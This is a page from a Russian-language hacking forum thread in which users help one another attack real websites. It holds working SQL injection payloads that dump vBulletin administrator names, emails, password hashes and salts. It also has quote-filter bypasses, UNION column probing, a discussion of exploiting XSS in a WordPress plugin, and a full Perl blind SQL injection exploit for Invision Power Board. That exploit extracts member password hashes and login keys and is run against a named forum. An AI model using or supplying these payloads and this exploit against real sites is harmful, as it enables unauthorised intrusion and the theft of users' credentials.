Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. ne0k

    ne0k New Member

    Joined:
    3 Mar 2011
    Messages:
    51
    Likes Received:
    1
    Reputations:
    0
    Нужно так:
    Code:
    SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='fotoforum'
    Если же фильтруются кавычки, можно зачарить:
    Code:
    SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=CHAR(102,111,116,111,102,111,114,117,109)
     
    #17581 ne0k, 10 Aug 2011
    Last edited: 10 Aug 2011
  2. Cherep

    Cherep New Member

    Joined:
    30 May 2010
    Messages:
    162
    Likes Received:
    1
    Reputations:
    -10
    Есть уязвимый форум на vBulletin . При просмотре администраторов через:
    Code:
    форум/showgroups.php
    в группе Администраторы 3 человека.
    Но когда в Live HTTP дописываю:
    Code:
    &cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE usergroupid=6#
    то мне выдает всего 1 админа.
    Как сделать чтобы все админы выводились? Или эти 2 остальных админа прописаны тупо для вида?
     
  3. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    942
    Likes Received:
    817
    Reputations:
    605
    а если попробовать LIMIT ?
    Code:
    &cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE usergroupid=6 limit 0,1#
    Code:
    &cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE usergroupid=6 limit 1,1#
    Code:
    &cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE usergroupid=6 limit 2,1#
     
    _________________________
    5 people like this.
  4. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,037
    Likes Received:
    531
    Reputations:
    935
    Я так понимаю там стоит фреймворк PhpThumb, попробуй поискать сплоиты именно под него, например:
    http://snipper.ru/view/8/phpthumb-179-arbitrary-command-execution-exploit/
     
    _________________________
  5. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    532
    Likes Received:
    61
    Reputations:
    53
    на сайте есть пассивная xss в урле...но там идет только замена спец символов на их коды. больше никаких фильтров нет(100%) :) можно использовать как нибудь?
     
    #17585 justonline, 11 Aug 2011
    Last edited: 11 Aug 2011
  6. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    532
    Likes Received:
    61
    Reputations:
    53
    я реализовал xss, радовался жизнИ, потом админ поставил замену спец символов на html код.
     
  7. ne0k

    ne0k New Member

    Joined:
    3 Mar 2011
    Messages:
    51
    Likes Received:
    1
    Reputations:
    0
    Интересно.. Поиграюсь вечером..

    Есть еще вопрос. Возможно ли провести sql inj при INSERT в БД данных из массива? При этом, данные, в массиве из $_POST, и ни коем образом не фильтруются...
    Вот так:

    PHP:
    $wpdb->insert(TABLE
        array(
    'type' => $type
              
    'settings' => serialize($settings), 
              
    'created' => date("Y-m-d"), 
              
    'title' => $_POST['title'],  
              
    'description'=>$_POST['description']));
    Смог реализовать активную XSS.. Данные инсертятся в БД без какой либо фильтрации, соответственно потом, при выборке title и или description, срабатывает XSS на странице..

    Но нужен скуль..

    Может что еще можно сделать тут? Думаю, как бы реализовать выполнение кода, но к сожалению, страница, которая отображает содержимое этих двух ячеек, никак не воспринимается интэрпритатором php, т.е. если отправить постом '<?php phpinfo(); ?>' а потом вывести на страницу, то будет просто навсего пустой тайтл или дискрипшн.. А в сорцах страницы отображается как есть: <?php phpinfo(); ?>....

    Пока не знаю куда рыть дальше..
    ----------------------------------------------

    Переменная $type получает свое значение из $_GET[type], но фильтруется :( :
    PHP:
    if(!empty=$_GET['type']) && is_numeric($_GET['type'])
    {
     
    $type=$_GET[type];
    }
    и тут никак не пробиться, поэтому остается надеяться на $_POST[title] и $_POST[description] ...
     
    #17587 ne0k, 11 Aug 2011
    Last edited: 11 Aug 2011
  8. Tiku$

    Tiku$ Member

    Joined:
    12 Jan 2011
    Messages:
    39
    Likes Received:
    10
    Reputations:
    -5
    извиняюсь если ошибся темой. колупал сегодня один форум.
    методом подбора нашел в корневой файл tester.php
    вот отрывок из него:
    при запросе: tester.php?=start=2000'
    выдает следующее

    вопрос можно ли дальше что-то сделать?
     
  9. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,037
    Likes Received:
    531
    Reputations:
    935
    tester.php?start=2,22222222+union+select+1,2,3--+
     
    _________________________
  10. Tiku$

    Tiku$ Member

    Joined:
    12 Jan 2011
    Messages:
    39
    Likes Received:
    10
    Reputations:
    -5
    Expl0ited,
    Moriarty, не подскажешь может статья какая-то есть? а то я первый раз))
     
  11. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,037
    Likes Received:
    531
    Reputations:
    935
    http://forum.antichat.ru/thread43966.html
     
    _________________________
  12. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,037
    Likes Received:
    531
    Reputations:
    935
    Если бы твой опыт подсказал обратить внимание на запрос к бд который вываливается в ошибке:
    Code:
    SELECT user_id, username, user_unread_privmsg FROM users WHERE user_active = 1 LIMIT 2000', 1
    то ты сразу бы заметил, что в данном случае всего три колонки участвующий в запросе user_id, username, user_unread_privmsg, соответственно иъекция должна быть вида:
    union select 1,2,3#
     
    _________________________
    1 person likes this.
  13. WTSBugzoff

    WTSBugzoff New Member

    Joined:
    23 Jun 2011
    Messages:
    59
    Likes Received:
    2
    Reputations:
    0
    почему при использовании эксплойта в перл, при выводе
    MySQL version:
    Data dir:
    User:
    Database:
    id:
    group:

    Все строки пустые?
     
  14. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,548
    Likes Received:
    1,244
    Reputations:
    273
    потому что гладиолус....какой експлоит ?..кaк вбивал данные..и тд и тп..?
     
    3 people like this.
  15. WTSBugzoff

    WTSBugzoff New Member

    Joined:
    23 Jun 2011
    Messages:
    59
    Likes Received:
    2
    Reputations:
    0
    Code:
    #!/usr/bin/perl 
    
    ## Invision Power Board SQL injection exploit by RTC-GNC-XxxEmchExxX 
    ## vulnerable forum versions : 1.* , 2.* ,3.*(<3.1.4) 
    ## tested on version 1 Final and version 3.1.4 
    ## * work on all mysql versions 
    ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) 
    ## (c)oded by 1dt.w0lf 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~ 
    ## screen: 
    ## ~~~~~~~ 
    ## r57ipb3.pl blah.com /ipb13/ 1 0 
    ## [~] SERVER : blah.com 
    ## [~] PATH : /ipb13/ 
    ## [~] MEMBER ID : 1 
    ## [~] TARGET : 0 - IPB 1.* 
    ## [~] SEARCHING PASSWORD ... [ DONE ] 
    ## 
    ## MEMBER ID : 1 
    ## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99 
    ## 
    ## r57ipb3.pl blah.com /ipb314/ 1 1 
    ## [~] SERVER : blah.com 
    ## [~] PATH : /ipb314/ 
    ## [~] MEMBER ID : 1 
    ## [~] TARGET : 1 - IPB 2.* 
    ## [~] SEARCHING PASSWORD ... [ DONE ] 
    ## 
    ## MEMBER ID : 1 
    ## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d 
    ## 
    ## r57ipb3.pl blah.com /ipb314/ 1 1 
    ## [~] SERVER : blah.com 
    ## [~] PATH : /ipb314/ 
    ## [~] MEMBER ID : 1 
    ## [~] TARGET : 1 - IPB 3.* 
    ## [~] SEARCHING PASSWORD ... [ DONE ] 
    ## 
    ## MEMBER ID : 1 
    ## MEMBER_LOGIN_KEY : f103c2ff0937a1e1def351c34bf22d 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~ 
    ## Greets: James Bercegay of the GulfTech Security Research Team N RST/GHC 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~ 
    ## Credits: XxxEmchExxX , www.xxxemchexxx.blogspot.com 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~ 
    
    use IO::Socket; 
    
    if (@ARGV < 4) { &usage; } 
    
    $server = $ARGV[0]; 
    $path = $ARGV[1]; 
    $member_id = $ARGV[2]; 
    $target = $ARGV[3]; 
    
    $pass = ($target)?('member_login_key'):('password'); 
    
    $server =~ s!(http://)!!; 
    
    $request = 'http://'; 
    $request .= $server; 
    $request .= $path; 
    
    $s_num = 1; 
    $|++; 
    $n = 0; 
    
    print "[~] SERVER : $server\r\n"; 
    print "[~] PATH : $path\r\n"; 
    print "[~] MEMBER ID : $member_id\r\n"; 
    print "[~] TARGET : $target"; 
    print (($target)?(' - IPB 3.*'):(' - IPB 2.*'):(' - IPB 1.*')); 
    print "\r\n"; 
    print "[~] SEARCHING PASSWORD ... [|]"; 
    
    ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; 
    
    while(1) 
    { 
    if(&found(47,58)==0) { &found(96,122); } 
    $char = $i; 
    if ($char=="0") 
    { 
    if(length($allchar) > 0){ 
    print qq{bb DONE ] 
    
    MEMBER ID : $member_id 
    }; 
    print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : ')); 
    print $allchar."\r\n"; 
    } 
    else 
    { 
    print "\b\b FAILED ]"; 
    } 
    exit(); 
    } 
    else 
    { 
    $allchar .= chr(42); 
    } 
    $s_num++; 
    } 
    
    sub found($$) 
    { 
    my $fmin = $_[0]; 
    my $fmax = $_[1]; 
    if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } 
    
    $r = int($fmax - ($fmax-$fmin)/2); 
    $check = " BETWEEN $r AND $fmax"; 
    if ( &check($check) ) { &found($r,$fmax); } 
    else { &found($fmin,$r); } 
    } 
    
    sub crack($$) 
    { 
    my $cmin = $_[0]; 
    my $cmax = $_[1]; 
    $i = $cmin; 
    while ($i<$cmax) 
    { 
    $crcheck = "=$i"; 
    if ( &check($crcheck) ) { return $i; } 
    $i++; 
    } 
    $i = 0; 
    return $i; 
    } 
    
    sub check($) 
    { 
    $n++; 
    status(); 
    $ccheck = $_[0]; 
    $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D"; 
    $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%7  2%69%6E%67%28"; 
    $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*"; 
    $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; 
    $nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%2  1%20"; 
    $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); 
    
    printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n", 
    $path,$server,$cmember_id,$pass_hash1,$cmember_id,  $pass_hash2,$pass_hash3,$nmalykh); 
    
    while(<$socket>) 
    { 
    if (/Set-Cookie: session_id=0;/) { return 1; } 
    } 
    
    return 0; 
    } 
    
    sub status() 
    { 
    $status = $n % 5; 
    if($status==0){ print "\b\b/]"; } 
    if($status==1){ print "\b\b-]"; } 
    if($status==2){ print "\b\b\\]"; } 
    if($status==3){ print "\b\b|]"; } 
    } 
    
    sub usage() 
    { 
    print q( 
    Invision Power Board v < 3.1.4 SQL injection exploit 
    ---------------------------------------------------- 
    USAGE: 
    ~~~~~~ 
    r57ipb3.pl [server] [/folder/] [member_id] [target] 
    
    [server] - host where IPB installed 
    [/folder/] - folder where IPB installed 
    [member_id] - user id for brute 
    
    targets: 
    0 - IPB 1.* 
    1 - IPB 2.* 
    2 - IPB 3.* (Prior To 3.1.4) 
    
    e.g. r57ipb3.pl 127.0.0.1 /IPB/ 1 1 
    ---------------------------------------------------- 
    (c)oded by 1dt.w0lf 
    RST/GHC , http://rst.void.ru , http://ghc.ru 
    ); 
    exit(); 
    } 
    c:\perl\bin\perl c:\perl\bin\ex.pl forum.ru/forum/ipb314/ 1 1

    так вот
     
  16. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,037
    Likes Received:
    531
    Reputations:
    935
    Возможно провести инъекцию если есть вывод ошибки. Процитирую сообщение s4avrd0w:
     
    _________________________
    1 person likes this.
  17. WTSBugzoff

    WTSBugzoff New Member

    Joined:
    23 Jun 2011
    Messages:
    59
    Likes Received:
    2
    Reputations:
    0
    Вопрос, если пишет при поиске пароля через перл - FAILED , то значит что фикс?
    И еще вопрос, что в перле означает target?
     
    #17597 WTSBugzoff, 12 Aug 2011
    Last edited: 12 Aug 2011
  18. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,548
    Likes Received:
    1,244
    Reputations:
    273
    да...цель
     
  19. Tiku$

    Tiku$ Member

    Joined:
    12 Jan 2011
    Messages:
    39
    Likes Received:
    10
    Reputations:
    -5
    делаю start=99999999+union+select+1,2,3--+
    и сервер не отвечает, на большинство остальных заросов типа start=99999999+union+select+1,2,3,4,5--+ он нормально реагирует и выдает ошибку
    почему так?
     
  20. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,037
    Likes Received:
    531
    Reputations:
    935
    скорее всего получившиеся данные обрабатывается еще каким-то способом, что ведет к глобальному фейлу скрипта, попробуй сделать так:
    start=99999999+union+select+1111,null,null--+
    start=99999999+union+select+null,2222,null--+
    start=99999999+union+select+null,null,3333--+
     
    _________________________
    #17600 Expl0ited, 12 Aug 2011
    Last edited: 12 Aug 2011
Loading...
Thread Status:
Not open for further replies.